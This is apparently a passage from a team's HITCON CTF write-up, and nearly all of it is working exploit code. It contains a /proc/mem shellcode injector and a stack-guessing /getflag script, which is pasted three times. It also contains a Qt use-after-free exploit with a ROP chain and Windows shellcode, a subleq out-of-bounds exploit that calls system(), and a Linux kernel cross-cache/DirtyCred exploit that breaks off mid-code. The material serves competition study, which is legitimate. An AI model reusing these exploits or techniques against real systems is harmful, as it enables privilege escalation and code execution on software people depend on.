assert os.lseek(MEM_RD_FD, addr, os.SEEK_SET) == addr
ret = b""
while len(ret) < size:
ret += os.read(MEM_RD_FD, size - len(ret))
return ret
def write_mem(addr, buf):
assert os.lseek(MEM_WR_FD, addr, os.SEEK_SET) == addr
written = 0
while written < len(buf):
ret = os.write(MEM_WR_FD, buf[written:])
assert ret != -1
written += ret
def do_pwn():
for i in range(8):
print(i, os.readlink(f"/proc/self/fd/{i}"))
with open(VMMAP_FILE, "rt") as f:
vmmap = f.read()
print(vmmap)
line = vmmap.splitlines()[0]
bash_base = int(line.split("-")[0], 16)
print(f"{bash_base=:#x}")
make_child = bash_base + 0x5F330
print(f"{make_child=:#x}")
print(read_mem(make_child, 0x100).hex())
write_mem(make_child, SHELLCODE)
def pwn():
libc = ctypes.CDLL("libc.so.6")
fd = libc.creat(LOG_FILE.encode(), 0o755)
with os.fdopen(fd, "w") as f:
with contextlib.redirect_stdout(f):
try:
do_pwn()
except:
import traceback
traceback.print_exc(file=sys.stdout)
def transcribe_vmmap():
libc = ctypes.CDLL("libc.so.6")
fd = libc.creat(VMMAP_FILE.encode(), 0o755)
with os.fdopen(fd, "w") as f:
f.write(sys.stdin.read())
def collect_log():
try:
with open(LOG_FILE, "rt") as f:
print(f.read())
except:
import traceback
traceback.print_exc(file=sys.stdout)
match RUN_ORDER:
case 0:
setup()
case 1:
transcribe_vmmap()
case 2:
pwn()
case 3:
collect_log()
```
#### Level 3
Level 3 actually fixed level 1 by making `/getflag` 0111 (non-readable but executable), it likely also doesn't ask a network service any more and just hardcoded flag since we can't read it anyway. It also made it impossible to fully escape by making sure there's only one testcase (so we can't tamper with later cases' inputs). Alright, let's get back to our first bug.
Note that now `libjudgers.so` is also run with uid=1337, we can read it's /proc/ppid/maps. We debugged the binary and found that the whitelisted pointer value points to argv area which is near the end of the stack. The offset should be only affected by the size of environ, compute it and voila:
```python=
import sys
import os
import ctypes
os.dup2(1, 2)
ppid = os.getppid()
with open(f"/proc/{ppid}/maps", "rt") as f:
vmmap = f.read()
for line in vmmap.splitlines():
if "[stack]" in line:
stackline = line
break
else:
print("No stack found")
exit(1)
print(stackline)
stack_begin, stack_end = map(lambda x: int(x, 16), stackline.split(" ")[0].split("-")[:2])
print(f"{stack_begin=:#x}, {stack_end=:#x}")
with open(f"/proc/{ppid}/environ", "rb") as f:
env_len = len(f.read())
guess = stack_end - env_len - 255
print(f"{guess=:#x}")
page = guess & ~0xfff
libc = ctypes.CDLL("libc.so.6")
# Use libc to mmap a read-write page at address |page|
mmap = libc.mmap
mmap.restype = ctypes.c_void_p
mmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_long)
print(f"{mmap=}")
print(f"{mmap(page, 4096, 3, 34, -1, 0)=:#x}")
buf = ctypes.cast(guess, ctypes.POINTER(ctypes.c_char))
ctypes.memmove(buf, b"/getflag", 8)
print(f"{buf.contents=}")
libc.execl(buf, buf, b"give", b"me", b"flag", 0)
import sys
import os
import ctypes
os.dup2(1, 2)
ppid = os.getppid()
with open(f"/proc/{ppid}/maps", "rt") as f:
vmmap = f.read()
for line in vmmap.splitlines():
if "[stack]" in line:
stackline = line
break
else:
print("No stack found")
exit(1)
print(stackline)
stack_begin, stack_end = map(lambda x: int(x, 16), stackline.split(" ")[0].split("-")[:2])
print(f"{stack_begin=:#x}, {stack_end=:#x}")
with open(f"/proc/{ppid}/environ", "rb") as f:
env_len = len(f.read())
guess = stack_end - env_len - 255
print(f"{guess=:#x}")
page = guess & ~0xfff
libc = ctypes.CDLL("libc.so.6")
# Use libc to mmap a read-write page at address |page|
mmap = libc.mmap
mmap.restype = ctypes.c_void_p
mmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_long)
print(f"{mmap=}")
print(f"{mmap(page, 4096, 3, 34, -1, 0)=:#x}")
buf = ctypes.cast(guess, ctypes.POINTER(ctypes.c_char))
ctypes.memmove(buf, b"/getflag", 8)
print(f"{buf.contents=}")
libc.execl(buf, buf, b"give", b"me", b"flag", 0)
import sys
import os
import ctypes
os.dup2(1, 2)
ppid = os.getppid()
with open(f"/proc/{ppid}/maps", "rt") as f:
vmmap = f.read()
for line in vmmap.splitlines():
if "[stack]" in line:
stackline = line
break
else:
print("No stack found")
exit(1)
print(stackline)
stack_begin, stack_end = map(lambda x: int(x, 16), stackline.split(" ")[0].split("-")[:2])
print(f"{stack_begin=:#x}, {stack_end=:#x}")
with open(f"/proc/{ppid}/environ", "rb") as f:
env_len = len(f.read())
guess = stack_end - env_len - 255
print(f"{guess=:#x}")
page = guess & ~0xfff
libc = ctypes.CDLL("libc.so.6")
# Use libc to mmap a read-write page at address |page|
mmap = libc.mmap
mmap.restype = ctypes.c_void_p
mmap.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_long)
print(f"{mmap=}")
print(f"{mmap(page, 4096, 3, 34, -1, 0)=:#x}")
buf = ctypes.cast(guess, ctypes.POINTER(ctypes.c_char))
ctypes.memmove(buf, b"/getflag", 8)
print(f"{buf.contents=}")
libc.execl(buf, buf, b"give", b"me", b"flag", 0)
```
## pwn
### QQQ
```python=
from pwn import *
p = remote("chal-qqq.chal.hitconctf.com", 41870)
# p = process("./qqq2.exe")
#p = process("./qqq2.exe")
def menu():
return p.recvuntil(b'Your choice: ')
def add_script(script):
p.sendline(b'1')
p.sendlineafter(b'Give me one-line JS script: ', script)
p.recvuntil(b'Your script index: ')
idx = int(p.recvline())
menu()
return idx
def delete_script(idx):
p.sendline(b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
return menu()
def edit_script(idx, script):
p.sendline(b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendlineafter(b'Give me one-line JavaScript:', script)
return menu()
def view_script(idx):
p.sendline(b'4')
p.sendlineafter(b'Index: ', str(idx).encode())
p.recvuntil(b'-- Your Script --\n')
script = p.recvline()[:-1]
menu()
return script
def create_test(script_idx, timeout):
p.sendline(b'5')
p.sendlineafter(b'Script Index: ', str(script_idx).encode())
p.sendlineafter(b'Set timeout: ', str(timeout).encode())
no_cpp_timer = b'Initialize cppTimer!' in p.recvuntil(b'Your testcase index: ')
if no_cpp_timer:
info("No CPP timer initialized")
idx = int(p.recvline())
menu()
return idx
def delete_test(test_idx):
p.sendline(b'6')
p.sendlineafter(b'Testcase Index: ', str(test_idx).encode())
return menu()
def edit_test(test_idx, script_idx, timeout):
p.sendline(b'7')
p.sendlineafter(b'Testcase Index: ', str(test_idx).encode())
p.sendlineafter(b'Script Index: ', str(script_idx).encode())
p.sendlineafter(b'Set timeout: ', str(timeout).encode())
return menu()
def view_test(test_idx):
p.sendline(b'8')
p.sendlineafter(b'Testcase Index: ', str(test_idx).encode())
p.recvuntil(b'Script Index: ')
script_idx = int(p.recvline())
p.recvuntil(b'Timeout: ')
timeout = int(p.recvline())
menu()
return script_idx, timeout
def run_test(test_idx):
p.sendline(b'9')
p.sendlineafter(b'Testcase Index: ', str(test_idx).encode())
output = p.recvuntil(b'-- Testcase Result --\n')
if output != b'-- Testcase Result --\n':
print(output)
print('-'*15)
p.recvuntil(b'Testcase id: ')
testid = int(p.recvline())
p.recvuntil(b'Script id: ')
scriptid = int(p.recvline())
p.recvuntil(b'timeout: ')
timeout = int(p.recvline())
p.recvuntil(b'jsTime: ')
jstime = int(p.recvline())
p.recvuntil(b'cppTime: ')
cpptime = int(p.recvline())
menu()
return output, jstime, cpptime
def set_timer(timeout):
p.sendline(b'10')
p.sendlineafter(b'Set timeout: ', str(timeout).encode())
return menu()
def view_timer():
p.sendline(b'11')
p.recvuntil(b'jsTime: ')
jstime = int(p.recvline())
p.recvuntil(b'cppTime: ')
cpptime = int(p.recvline())
menu()
return jstime, cpptime
menu()
f = open("exp.js","r") # print(Timer)
js = f.read()
js = js.replace("\n",";")
js = js.replace(" ","SPACE")
log.info("js: "+js)
assert('"' not in js)
# [objectName,objectNameChanged,elapsed,setJsTime]
wrapper = """eval("%s".split("SPACE").join(String.fromCharCode(0x20)));"""
wrapped = wrapper % js
uaf = add_script("}));print(Timer);eval(`}`);//")
reclaim = add_script(wrapped)
#demo = add_script(b'1;')
#print(view_script(uaf))
#set_timer(1337)
# uaf_test = create_test(uaf, 5000)
tests = []
for i in range(2):
tests.append(create_test(reclaim,10))
output = run_test(tests[1])[0]
start = output.find(b"(")
end = output.find(b")")
timer_addr = int(output[start + 1:end],16)
log.info("Timer @ " + hex(timer_addr))
pause()
run_test(tests[0])
delete_test(tests[0])
# reclaim
reclaimed = []
victim_test = -1
vtable_leak = 0
for i in range(100):
reclaimed.append(create_test(reclaim,timer_addr - 0x10))
script_idx, timeout = view_test(reclaimed[i])
if timeout != timer_addr - 0x10:
victim_test = reclaimed[i]
vtable_leak = timeout
log.info("found victim: @ %d" % i)
log.info("vtable @ " + hex(vtable_leak))
break
# now we have vtable leak
# arbitrary read -
# 1. change timeout (to dest addr - 0x10)
# 2. view victim
# arbitrary write -
# 1. change timeout (to dest addr - 0x10)
# 2. set timeout in victim
pause()
def arb_read(addr):
global victim_test
set_timer(addr - 0x10)
script_idx, leak = view_test(victim_test)
log.info("[read] %s -> %s" % (hex(addr),hex(leak)))
return leak
def arb_write(addr, value):
global victim_test
log.info("[write] %s -> %s" % (hex(addr),hex(value)))
set_timer(addr - 0x10)
edit_test(victim_test,0,value)
#arb_read(0xc0ffee)
#arb_write(0xfeed,0xface)
# setup fake vtable
# QtNetwork gadget
# 0x0000000180034f6b: push rcx; pop rsp; or al, byte ptr [rax]; add rsp, 0x7d0; pop rbp; ret;
# get QtNetwork base
# 1. get object base
# 2. get QtQml base
# 3. get QtNetwork base
qqq_base = vtable_leak - 0x00057a8
log.info("QQQ @ " + hex(qqq_base))
QJSValue_dtor = arb_read(qqq_base + 0x5290)
qml_base = QJSValue_dtor - 0x0000000000064620
log.info("QML @ " + hex(qml_base))
network_leak = arb_read(qml_base + 0x249230)
network_base = network_leak - 0x0000000000016ba0
log.info("NETWORK @ " + hex(network_base))
virtual_alloc = arb_read(qml_base + 0x02470E0)
virtual_protect = arb_read(qml_base + 0x02470E8)
memcpy = arb_read(qqq_base + 0x0005360)
qtcore_leak = arb_read(qqq_base + 0x05080)
qtcore_base = qtcore_leak - 0x00000000001faf00
log.info("Qt5Core @ " + hex(qtcore_base))
malloc = arb_read(qqq_base + 0x000000005398)
log.info("Malloc @ " + hex(malloc))
pop_rcx = qtcore_base + 0x00dc80
pop_rdx = qtcore_base + 0x1eb082
pop_r8 = qtcore_base + 0x1d39a2
mov_r9 = qml_base + 0xf05cc #: mov r9, rax; mov rax, r9; add rsp, 0x28; ret;
pop_rax = qtcore_base + 0x0bf66
xor_r9 = qtcore_base + 0x149344 # xor r9d, r9d; test r9, r9; sete al; add rsp, 8; ret;
stack_pivot = network_base + 0x34f6b
bss = qqq_base + 0x9000 # write at offset 0x400, seems to be unused
read_file = arb_read(qtcore_base + 0x02F1378)
create_file = arb_read(qtcore_base + 0x2F12E0) # createfileW
write_file = arb_read(qtcore_base + 0x02F1390)
operator_stream_out = arb_read(qqq_base + 0x05198)
stdout_stream = qqq_base + 0x0092E0
log.info("jump loc @ " + hex(bss + 0x400))
log.info("Stack pivot @ " + hex(stack_pivot))
log.info("read file: " + hex(read_file))
log.info("create file: " + hex(create_file))
log.info("write file: " + hex(write_file))
pause()
# write shellchode
#arb_write(bss+0x400,0xcccccccccccccccc)
context.arch = "AMD64"
shellchode = b""
shellchode += b"\x48\xBC" + p64(qtcore_base + 0x00545000 + 0x2800) # qt core bss
shellchode += asm("""
lea rcx, [rip+fname]
mov rdx, 0x80000000 /* GENERIC_READ */
mov r8, 1 /* FILE_SHARE_READ */
xor r9, r9
push 0 /* hTemplateFile */
push 0 /* flags */
push 3 /* OPEN_EXISTING */
sub rsp, 0x20
movabs rax, {CreateFile} /* CreateFileW */
call rax
push 0 /* lpOverlapped */
mov rcx, rax
lea rdx, [rip+buf]
mov r8, 0x100
xor r9, r9
sub rsp, 0x20
movabs rax, {ReadFile} /* ReadFile */
call rax
push 0 /* lpOverlapped */
mov rcx, -11 /* STD_OUTPUT_HANDLE */
lea rdx, [rip+buf]
mov r8, 0x100
xor r9, r9
sub rsp, 0x20
movabs rax, {WriteFile} /* WriteFile */
call rax
fname:
.word 'f', 'l', 'a', 'g', '.', 't', 'x', 't', 0
buf:
""".format(
CreateFile=create_file,
ReadFile=read_file,
WriteFile=write_file
))
if len(shellchode) % 8:
shellchode += b"\xcc" * (8 - (len(shellchode) % 8))
for i in range(len(shellchode) // 8):
arb_write(bss + 0x400 + (i * 8), u64(shellchode[i * 8: (i + 1)*8]))
fake_vtable = timer_addr + 0x80
fake_obj = timer_addr + 0x40
#arb_write(fake_vtable + 0x18, 0x4141424243434444) # dtor
arb_write(fake_vtable + 0x18,stack_pivot)
arb_write(fake_obj, fake_vtable) # qjs fake vtable ptr
# overwrite qjs engine with a fake one
arb_write(timer_addr + 0x18,fake_obj)
# ropchain continuation
rop_addr = fake_obj + 0x7d0
#arb_write(rop_addr, 0xfeedfeedfeedfeed)
timer_page = timer_addr & ~0xfff
# # call virtualalloc
# arb_write(rop_addr + 8, pop_rcx) # accounted for pop rbp
# arb_write(rop_addr + 0x10, 0xbeef000) # addr
# arb_write(rop_addr + 0x18, pop_rdx)
# arb_write(rop_addr + 0x20, 0x1000) # size
# arb_write(rop_addr + 0x28, pop_r8)
# arb_write(rop_addr + 0x30,0x3000) # MEM COMMIT | MEM RESERVE
# arb_write(rop_addr + 0x38, pop_rax)
# arb_write(rop_addr + 0x40, 0x40) # prot
# arb_write(rop_addr + 0x48, mov_r9) #
# arb_write(rop_addr + 0x50 + 0x28, virtual_alloc)
# rop_addr = rop_addr + 0x50 + 0x30
# # memcpy shellcode
# arb_write(rop_addr + 0x0, pop_rcx)
# arb_write(rop_addr + 0x8, 0xbeef000)
# arb_write(rop_addr + 0x10, pop_rdx)
# arb_write(rop_addr + 0x18, bss + 0x400)
# arb_write(rop_addr + 0x20, 0x400)
# arb_write(rop_addr + 0x28, pop_rdx)
# arb_write(rop_addr + 0x30, memcpy)
# arb_write(rop_addr + 0x50 + 0x30, 0xfeed)
# rop_addr += 0x48
move_stack = qtcore_base + 0x002211e #: add rsp, 0x9f0; pop rbx; ret;
#arb_write(rop_addr + 8, move_stack)
#rop_addr += (0x9f0 + 0x10)
# call virtualprotect
arb_write(rop_addr + 8, pop_rcx) # accounted for pop rbp
arb_write(rop_addr + 0x10, bss) # addr
arb_write(rop_addr + 0x18, pop_rdx)
arb_write(rop_addr + 0x20, 0x1000) # size
arb_write(rop_addr + 0x28, pop_r8)
arb_write(rop_addr + 0x30,0x40) # prot (RWX)
arb_write(rop_addr + 0x38, pop_rax) # old protect (null)
arb_write(rop_addr + 0x40, bss + 0x3f0) # old protect (null)
arb_write(rop_addr + 0x48, mov_r9) # old protect (null)
arb_write(rop_addr + 0x50 + 0x28, virtual_protect)
#arb_write(rop_addr + 0x48, 0xaaaaaaaaaaaaaa)
rop_addr = rop_addr + 0x50 + 0x30
arb_write(rop_addr ,bss + 0x400)
#arb_write(rop_addr + 0x20,0xaabbccddeeff)
delete_test(victim_test)
#run_test(tests[1])
#run_test(tests[2])
#jstime, cpptime = run_test(test)
#print("jsTime: %s\ncppTime: %s" % (jstime, cpptime))
view_timer()
p.interactive()
```
### SUBformore
We can insert arb code in subleq context using oob write.
Build some leak function and overwrite stack.
```python=
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'split-window', '-h']
TARGET = './lessequalmore'
HOST = 'chal-lessequalmore.chal.hitconctf.com'
PORT = 11111
#HOST = '172.17.0.2'
#PORT = 9999
#HOST = '172.17.0.1'
#PORT = 11111
elf = ELF(TARGET)
def start():
if not args.R:
print("local")
return process([TARGET, './chal.txt'])
# return process(TARGET, env={"LD_PRELOAD":"./libc.so.6"})
# return process(TARGET, stdout=process.PTY, stdin=process.PTY)
else:
print("remote")
return remote(HOST, PORT)
def get_base_address(proc):
lines = open("/proc/{}/maps".format(proc.pid), 'r').readlines()
for line in lines :
if TARGET[2:] in line.split('/')[-1] :
break
return int(line.split('-')[0], 16)
def debug(proc, breakpoints):
script = "handle SIGALRM ignore\n"
PIE = get_base_address(proc)
script += "set $base = 0x{:x}\n".format(PIE)
for bp in breakpoints:
script += "b *0x%x\n"%(PIE+bp)
script += "c"
gdb.attach(proc, gdbscript=script)
def dbg(val): print("\t-> %s: 0x%x" % (val, eval(val)))
pc = 0x10
def subleq(v0, v1, j=-1):
global pc
pc += 3
if j == -1:
return f'%x{v0:x}\n%x{v1:x}\n%x{pc:x}\n'.encode()
else:
return f'%x{v0:x}\n%x{v1:x}\n%x{j:x}\n'.encode()
def clear(idx):
return subleq(idx, idx)
def input_value(idx):
return subleq(0x8000000000000000, idx)
def output_value(idx):
return subleq(idx, 0x8000000000000000)
libc_offset = 0x83ff0
environ_ptr = 0x221200
got_malloc_ptr = 0x219010
r = start()
r.recvuntil(b'\n')
payload = b''
# stack leak
payload += subleq(0x10, 0xdead)
payload += subleq((libc_offset+environ_ptr)//8, 0)
payload += subleq(0, 1)
payload += clear(2)
payload += input_value(2)
payload += clear(3)
payload += input_value(3)
# value search loop
lab_value_search = pc
payload += output_value(2) # print \xff
payload += clear(0)
payload += input_value(0)
payload += subleq(1, 0, lab_value_search)
payload += output_value(3) # print \x02
payload += subleq(3, 0, pc+3+3) # break
payload += subleq(5, 5, lab_value_search)
# libc leak
payload += output_value(5) # print \x00
payload += subleq(6, 7, pc+3*6) # break
payload += input_value(6) # write flag to break
payload += clear(1)
payload += subleq((libc_offset+got_malloc_ptr)//8-4, 0) # change reg1 to libc addr
payload += subleq(0, 1)
payload += subleq(1, 5, lab_value_search) # search again
# after leak
## wipe and write stack
### wipe
payload += input_value(0x398//8)
payload += input_value(0x3a0//8)
payload += input_value(0x3b0//8)
payload += input_value(0x3b8//8)
payload += input_value(0x3c8//8)
payload += input_value(0x3d0//8)
## write
payload += input_value(0x3e8//8)
payload += input_value(0x490//8)
payload += input_value(0x400//8)
payload += input_value(0x4a0//8)
payload += input_value(0x418//8)
payload += input_value(0x4b0//8)
payload += clear(0)
payload += clear(0)
payload += clear(0)
payload += subleq(0x490//8, 0)
payload += subleq(0x4a0//8, 0)
payload += subleq(0x4b0//8, 0)
payload += input_value(0x4c0//8)
payload += input_value(0x4c8//8)
payload += input_value(0x4d0//8)
payload += subleq(0, 0, 0xdeadbeefdeadbeef)
r.send(payload)
for i in range(0x3fe-payload.count(b'%')):
r.sendline(f'%x{0xbeefbeef:x}'.encode())
r.sendline(f'%x{0x10000000000000010-1040:x}'.encode())
if args.D:
debug(r, [0x16e5])
#pause()
r.sendline()
r.sendline(b'%xffffffffffffffff')
r.sendline(b'%x02')
r.recvuntil(b'\xff')
WAIT = 0.1
left = 0x7ff000000000
right = 0x800000000000
while left <= right:
mid = (left + right) // 2
mid &= 0xfffffffffffffff0
r.sendline(f'%x{(mid)+1:x}'.encode())
ret = b''
while len(ret) < 1:
ret += r.recvrepeat(WAIT)
if ret == b'\x02\x00': #found
break
elif ret == b'\x02\xff': #over
right = mid - 0x10
else: #under
left = mid + 0x10
leak = mid
dbg('leak')
target = leak - 0x148+0x70+0x50 -0xc0
dbg('target')
r.sendline(b'%x1beefbeef') #mem7
r.recvuntil(b'\xff')
left = 0x7f0000000000
right = 0x7fe000000000
while left <= right:
mid = (left + right) // 2
mid &= 0xfffffffffffffff0
r.sendline(f'%x{(mid)+2:x}'.encode())
ret = b''
while len(ret) < 1:
ret += r.recvrepeat(WAIT)
if ret == b'\x02\x00': #found
break
elif ret == b'\x02\xff': #over
right = mid - 0x10
else: #under
left = mid + 0x10
leak = mid
dbg('leak')
base = leak - 0xa5120
heap = base -0x83ff0
dbg('base')
system = base + 0x50d60
system = base + 0x508f0+2
binsh = base + 0x1d8698
rdi = base + 0x001bc021
r.sendline(f'%x{(target-heap)//8:x}'.encode())
r.sendline(f'%x{(target-heap)//8:x}'.encode())
r.sendline(f'%x{(target+8-heap)//8:x}'.encode())
r.sendline(f'%x{(target+8-heap)//8:x}'.encode())
r.sendline(f'%x{(target+0x10-heap)//8:x}'.encode())
r.sendline(f'%x{(target+0x10-heap)//8:x}'.encode())
r.sendline(f'%x{(target-heap)//8:x}'.encode())
r.sendline(f'%x{0x10000000000000000-rdi-0xbeefbeef:x}'.encode())
r.sendline(f'%x{(target+8-heap)//8:x}'.encode())
r.sendline(f'%x{0x10000000000000000-(heap+0x4c0)-0xbeefbeef:x}'.encode())
r.sendline(f'%x{(target+0x10-heap)//8:x}'.encode())
r.sendline(f'%x{0x10000000000000000-system-0xbeefbeef:x}'.encode())
r.sendline(f'%x{u64(b"cat /app")-0xbeefbeef:x}'.encode())
r.sendline(f'%x{u64(b"/flag.tx")-0xbeefbeef:x}'.encode())
r.sendline(f'%x{0x10000000000000074-0xbeefbeef:x}'.encode())
r.sendline(f'%x{0x10000000000000000-system-0xbeefbeef:x}'.encode())
r.interactive()
r.close()
```
### Full Chain - Wall Maria
There is a OOB write bug, which we use to overwrite mmio_ops and opaque value to get arbitrary function call primitive. We use that to mprotect buffer to executable and run shellcode.
Exploit: https://gist.github.com/Chovid99/8c2f15c40e7ad758f6ef1d87b4184ceb
### Full Chain - Wall Rose
There is a UAF bug in the `rose`. We decided to do cross-cache to a `file` struct, then proceed with `DirtyCred` technique.
```c
//gcc -pthread -no-pie -static ../../exploit.c -o exp
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <errno.h>
#include <inttypes.h>
#include <limits.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <poll.h>
#include <stdnoreturn.h>
#include <string.h>
#include <unistd.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/timerfd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <linux/capability.h>
#include <sys/xattr.h>
#include <linux/io_uring.h>
#include <linux/membarrier.h>
#include <linux/io_uring.h>
#include <linux/membarrier.h>
#define logd(fmt, ...) fprintf(stderr, (fmt), ##__VA_ARGS__)
#define CC_OVERFLOW_FACTOR 5
#define OBJS_PER_SLAB 8
#define CPU_PARTIAL 24
#define MSG_SIZE 0x400-48
static noreturn void fatal(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
enum {
CC_RESERVE_PARTIAL_LIST = 0,
CC_ALLOC_VICTIM_PAGE,
CC_FILL_VICTIM_PAGE,
CC_EMPTY_VICTIM_PAGE,
CC_OVERFLOW_PARTIAL_LIST
};
struct cross_cache
{
uint32_t objs_per_slab;
uint32_t cpu_partial;
struct
{
int64_t *overflow_objs;
int64_t *pre_victim_objs;
int64_t *post_victim_objs;
};
uint8_t phase;
int (*allocate)(int64_t);
int (*free)(int64_t);
};
static struct cross_cache *kmalloc1k_cc;
static inline int64_t cc_allocate(struct cross_cache *cc,
int64_t *repo,
uint32_t to_alloc)
{
for (uint32_t i = 0; i < to_alloc; i++)
{
int64_t ref = cc->allocate(i);
if (ref == -1)
return -1;
repo[i] = ref;
}
return 0;
}
static inline int64_t cc_free(struct cross_cache *cc,
int64_t *repo,
uint32_t to_free,
bool per_slab)
{
for (uint32_t i = 0; i < to_free; i++)
{
// if per_slab is true, The target is to free one object per slab.
if (per_slab && (i % (cc->objs_per_slab - 1)))
continue;
if (repo[i] == -1)
continue;
cc->free(repo[i]);
repo[i] = -1;
}
return 0;
}
static inline int64_t reserve_partial_list_amount(struct cross_cache *cc)
{
uint32_t to_alloc = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR;
cc_allocate(cc, cc->overflow_objs, to_alloc);
return 0;
}
static inline int64_t allocate_victim_page(struct cross_cache *cc)
{
uint32_t to_alloc = cc->objs_per_slab - 1;
cc_allocate(cc, cc->pre_victim_objs, to_alloc);
return 0;
}
static inline int64_t fill_victim_page(struct cross_cache *cc)
{
uint32_t to_alloc = cc->objs_per_slab + 1;
cc_allocate(cc, cc->post_victim_objs, to_alloc);
return 0;
}
static inline int64_t empty_victim_page(struct cross_cache *cc)
{
uint32_t to_free = cc->objs_per_slab - 1;
cc_free(cc, cc->pre_victim_objs, to_free, false);
to_free = cc->objs_per_slab + 1;
cc_free(cc, cc->post_victim_objs, to_free, false);
return 0;
}
static inline int64_t overflow_partial_list(struct cross_cache *cc)
{
uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR;
cc_free(cc, cc->overflow_objs, to_free, true);
return 0;
}
static inline int64_t free_all(struct cross_cache *cc)
{
uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1)* CC_OVERFLOW_FACTOR;
cc_free(cc, cc->overflow_objs, to_free, false);
empty_victim_page(cc);
return 0;
}
int64_t cc_next(struct cross_cache *cc)
{
switch (cc->phase++)
{
case CC_RESERVE_PARTIAL_LIST:
return reserve_partial_list_amount(cc);
case CC_ALLOC_VICTIM_PAGE:
return allocate_victim_page(cc);
case CC_FILL_VICTIM_PAGE:
return fill_victim_page(cc);
case CC_EMPTY_VICTIM_PAGE:
return empty_victim_page(cc);
case CC_OVERFLOW_PARTIAL_LIST:
return overflow_partial_list(cc);
default:
return 0;
}
}
void cc_deinit(struct cross_cache *cc)
{
free_all(cc);
free(cc->overflow_objs);
free(cc->pre_victim_objs);
free(cc->post_victim_objs);
free(cc);
}
void init_msq(int64_t *repo, uint32_t to_alloc ) {
for (int i = 0; i < to_alloc ; i++) {
repo[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (repo[i] < 0) {
logd("[-] msgget() fail\n");
exit(-1);
}
}
}
struct cross_cache *cc_init(uint32_t objs_per_slab,
uint32_t cpu_partial,
void *allocate_fptr,
void *free_fptr)
{
struct cross_cache *cc = malloc(sizeof(struct cross_cache));
if (!cc)
{
perror("init_cross_cache:malloc\n");
return NULL;
}
cc->objs_per_slab = objs_per_slab;
cc->cpu_partial = cpu_partial;
cc->free = free_fptr;
cc->allocate = allocate_fptr;
cc->phase = CC_RESERVE_PARTIAL_LIST;
uint32_t n_overflow = objs_per_slab * (cpu_partial + 1) * CC_OVERFLOW_FACTOR;
uint32_t n_previctim = objs_per_slab - 1;
uint32_t n_postvictim = objs_per_slab + 1;
cc->overflow_objs = malloc(sizeof(int64_t) * n_overflow);
cc->pre_victim_objs = malloc(sizeof(int64_t) * n_previctim);
cc->post_victim_objs = malloc(sizeof(int64_t) * n_postvictim);
init_msq(cc->overflow_objs, n_overflow);
init_msq(cc->pre_victim_objs, n_previctim);
init_msq(cc->post_victim_objs, n_postvictim);
return cc;
}
static int rlimit_increase(int rlimit)
{
struct rlimit r;
if (getrlimit(rlimit, &r))
fatal("rlimit_increase:getrlimit");
if (r.rlim_max <= r.rlim_cur)
{
printf("[+] rlimit %d remains at %.lld", rlimit, r.rlim_cur);
return 0;
}
r.rlim_cur = r.rlim_max;
int res;
if (res = setrlimit(rlimit, &r))
fatal("rlimit_increase:setrlimit");
else
printf("[+] rlimit %d increased to %lld\n", rlimit, r.rlim_max);
return res;
}
static int64_t cc_alloc_kmalloc1k_msg(int64_t msqid)
{
struct {
long mtype;
char mtext[MSG_SIZE];
} msg;
msg.mtype = 1;
memset(msg.mtext, 0x41, MSG_SIZE - 1);
msg.mtext[MSG_SIZE-1] = 0;
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
return msqid;
}
static void cc_free_kmalloc1k_msg(int64_t msqid)
{
struct {
long mtype;
char mtext[MSG_SIZE];
} msg;
msg.mtype = 0;
msgrcv(msqid, &msg, sizeof(msg.mtext), 0, IPC_NOWAIT | MSG_NOERROR);
}
int open_rose() {
return open("/dev/rose", O_RDWR);
}
int rose_fds[2];
int freed_fd = -1;
#define NUM_SPRAY_FDS 0x300
int main(void)
{
puts("=======================");
puts("[+] Initial setup");
system("echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > /tmp/a");
rlimit_increase(RLIMIT_NOFILE);
rose_fds[0] = open_rose();
puts("=======================");
puts("[+] Try to free the page");
kmalloc1k_cc = cc_init(OBJS_PER_SLAB, CPU_PARTIAL, cc_alloc_kmalloc1k_msg, cc_free_kmalloc1k_msg);
puts("[+] Step 1: Allocate a lot of slabs (To be put in the partial list later)");
cc_next(kmalloc1k_cc);
puts("[+] Step 2: Allocate target slab that we want to discard");
cc_next(kmalloc1k_cc);
puts("[+] Step 3: Put rose in the target slab");
rose_fds[1] = open_rose();
puts("[+] Step 4: Fulfill the target slab until we have a new active slab");
cc_next(kmalloc1k_cc);
puts("[+] Step 5: Try to free rose & other objects with hope that the target slab will be empty + be put in the partial list");
close(rose_fds[1]);
cc_next(kmalloc1k_cc);
// Step 6
puts("[+] Step 6: Fulfill the partial list and discard the target slab (because it's empty) to per_cpu_pages");
cc_next(kmalloc1k_cc);
puts("[+] Step 7: Make PCP freelist full, so that page goes to free area in buddy");
cc_deinit(kmalloc1k_cc);
puts("=======================");
puts("[+] Start the main exploit");
puts("[+] Spray FDs");
int spray_fds[NUM_SPRAY_FDS];
for(int i =0;i<NUM_SPRAY_FDS;i++){
spray_fds[i] = open("/tmp/a", O_RDWR); // /tmp/a is a writable file
if (spray_fds[i] == -1)
fatal("Failed to open FDs");
}
puts("[+] Free one of the FDs via rose");
close(rose_fds[0]);
puts("[+] Find the freed FD using lseek");
